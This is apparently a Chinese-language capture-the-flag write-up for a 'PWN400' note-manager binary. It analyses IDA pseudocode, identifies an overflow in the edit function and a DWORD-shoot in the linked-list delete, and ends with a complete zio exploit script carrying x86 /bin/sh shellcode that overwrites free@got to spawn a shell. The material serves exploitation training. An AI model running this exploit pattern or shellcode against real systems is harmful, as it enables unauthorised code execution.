之前沒有分析PWN400,現在再開一篇文章分析一下。
這個日誌是我做題的一個筆記,就是說我做一步題就記錄一下是實時的。所以說可能會有錯誤之類的。
首先程式是經典的筆記本程式,基本上一看到這種筆記本就知道是考堆了吧~
write(1, "1.New note\n", 0xBu);
write(1, "2.Show notes list\n", 0x12u);
write(1, "3.Show note\n", 0xCu);
write(1, "4.Edit note\n", 0xCu);
write(1, "5.Delete note\n", 0xEu);
write(1, "6.Quit\n", 7u);
write(1, "option--->> ", 0xCu);
功能選單也是很經典。。。。
那我們也按照套路來看看,首先是看下new note功能,看下note是怎麼建立的,以及資料的存放位置。
//IDA 虛擬碼
int __cdecl sub_804897E(int a1)
{
void *v2; // [sp+1Ch] [bp-Ch]@1
v2 = malloc(364u);
write(1, "\nnote title:", 0xCu);
read(0, (char *)v2 + 12, 63u);
write(1, "note type:", 0xAu);
read(0, (char *)v2 + 76, 31u);
write(1, "note content:", 0xDu);
read(0, (char *)v2 + 108, 0xFFu);
*(_DWORD *)v2 = v2;
write(1, "\n\n", 2u);
if ( *(_DWORD *)a1 )
{
*((_DWORD *)v2 + 2) = *(_DWORD *)a1;
*(_DWORD *)(*(_DWORD *)a1 + 4) = v2;
*((_DWORD *)v2 + 1) = 0;
*(_DWORD *)a1 = v2;
}
else
{
*(_DWORD *)a1 = v2;
*((_DWORD *)v2 + 1) = 0;
*((_DWORD *)v2 + 2) = 0;
}
return 0;
}
可以看到這個是一定的結構來組織的,從這裡估計這是一個模仿堆機制的漏洞,而不是真正的堆漏洞。
因為如果是堆漏洞的話,就沒有必要搞這麼麻煩的結構了,直接用堆自己的結構就可以了,當然這只是一個猜測,我也不知道到底是什麼漏洞。
看了一下結構是這樣的
struct note
{
DWORD 本塊的指標;
DWORD 後一塊的指標;
DWORD 前一塊的指標;
byte title[64];
byte type[32];
byte content[256];
}
可見是一個雙向連結串列的存在。
注意這裡,IDA F5出來的虛擬碼是錯誤的
*(_DWORD *)(*(_DWORD *)a1 + 4) = v2;
*((_DWORD *)v2 + 1) = 0;
這裡明顯是有邏輯問題的,看了一下彙編果然是外掛的問題,彙編如下。
arg_0是函式的引數,也就是虛擬碼裡的a1
var_c是分配的堆的指標,也就是虛擬碼裡的v2
我們再來看看edit功能,因為edit功能往往是漏洞多發的地方。尤其是ZCTF給我留下了這個陰影。。都是edit功能出的問題,而show和delete功能只是作為觸發條件的。
來看下edit功能:
有一個相當明顯的堆溢位,看來我們是真的找對地方了。問題就是出在edit功能中。
再來看看其他部分吧,因為這麼多的功能肯定是有用的,要不也沒必要搞這麼複雜了。
首先考慮的是leak的問題,因為首先我們分配的堆的地址是不確定的,要是想往堆裡寫點東西乾點什麼的話,肯定是要leak堆地址的。
如果不用堆地址的話,那麼我們可能需要去改got表,因為堆溢位的本質就是任意地址寫,肯定要leak出某個函式的真實地址。
我現在是在沒有進一步分析程式的情況下做出的猜測。
說一下想法,因為目前沒找到其他的漏洞。所以玩法應該就是利用堆溢位構造偽堆塊,然後用空堆塊合併機制實現unlink操作,進行任意地址寫。寫的目標應該是某個要呼叫函式的got表,
把它的內容改成system函式的虛擬地址或者是某個可以執行shellcode的地址。但是在此之前還是要leak記憶體,就是像上一段說的那樣,必須要進行leak才行。
leak記憶體的想法就是找show功能選項。而要達到觸發unlink宏還需要一個條件就是一個可控的free()。
後來想了一下,發現自己的整體想法都是有問題的。這道題考的根本就不是堆漏洞,而是用雙向連結串列模擬堆。我一直都把它當成堆漏洞來搞是完全錯誤的,比如我的想法是偽造堆塊誘發合併觸發unlink,
這個思路對於這道題是完全錯誤的。因為這個題有它自己的連結串列機制如果去偽造堆塊的話,會破壞它的連結串列是堆無法正常釋放。
那麼正確的思路應該是利用那個雙向連結串列,實現一個類似於DWORD SHOOT的利用,我們看一下delete函式是不是這樣的。
果然如此,經典的dword shoot寫法,
前塊的後向指標=當前的後向指標
後塊的前向指標=當前的前向指標
再看下連結串列遍歷機制, *(_DWORD *)a1 = *(_DWORD *)(*(_DWORD *)a1 + 8);它是這樣去遍歷雙向連結串列的,所以覆蓋頭不會出現問題。
此外就是它的地址問題了,怎麼樣得到system的地址。我看了一下其他功能沒有發現其他漏洞,那麼很有可能是沒辦法得到system的地址的。我們再來看一下保護
蛤蛤,沒有開nx,這個題啊,一顆賽艇。說明我們可以到處去寫shellcode了。
而show功能又可以leak出塊的地址,這樣的話就沒有任何問題了。正常的利用堆溢位去構造unlink造成dword shoot,造成任意地址寫。把free@got.plt改成我們在堆中的shellcode的地址。而shellcode的地址怎麼獲取呢?透過show功能就可以看到了,到這裡整個的思路就很清晰了
1 from zio import *
2 import re
3
4 shellcode = ""
5 shellcode += "\x68\x2F\x73\x68\xFF\x68\x2F\x62\x69\x6E\x8D\x1C\x24\x31\xC0\x88\x43\x07\x50\x53\x89\xE1\x8D\x51\x04\x83\xC0\x0B\xCD\x80\x31\xC0\x40\x31\xDB\xCD\x80"
6
7
8 length=len(shellcode)
9
10 io=zio('./pwn400',timeout = 99999)
11
12 io.read_until('--->>')#create a
13 io.writeline('1')
14 io.read_until('title:')
15 io.writeline('a')
16 io.read_until('type:')
17 io.writeline('a')
18 io.read_until('content:')
19 io.writeline('a')
20
21 io.read_until('--->>')#create b
22 io.writeline('1')
23 io.read_until('title:')
24 io.writeline('b')
25 io.read_until('type:')
26 io.writeline('b')
27 io.read_until('content:')
28 io.writeline('b')
29
30 io.read_until('--->>')#create c
31 io.writeline('1')
32 io.read_until('title:')
33 io.writeline('c')
34 io.read_until('type:')
35 io.writeline('c')
36 io.read_until('content:')
37 io.writeline('c')
38
39 io.read_until('--->>')#show note b
40 io.writeline('3')
41 io.read_until('title:')
42 io.writeline('b')
43 data=io.read_until('type:')
44 note1_add = re.compile("0x(\w+)")
45 result = note1_add.findall(data)
46 note1 = int(result[0],16)
47 print 'dbg address of b'+hex(note1)
48
49 io.read_until('--->>')#edit note a
50 io.writeline('4')
51 io.read_until('title:')
52 io.writeline('a')
53 io.read_until('content:')
54 sc1=shellcode+'a'*(260-length)+l32(note1)+l32(0x804A450-0x8)+l32(note1-260)
55 #io.gdb_hint()
56 io.writeline(sc1)
57 #io.gdb_hint()
58
59 io.read_until('--->>')#delete note b
60 io.writeline('5')
61 io.read_until('location:')
62 io.gdb_hint()
63 end=hex(note1).lstrip("0x")
64 #print end
65 io.writeline(end)
66 io.gdb_hint()
67
68 io.interact()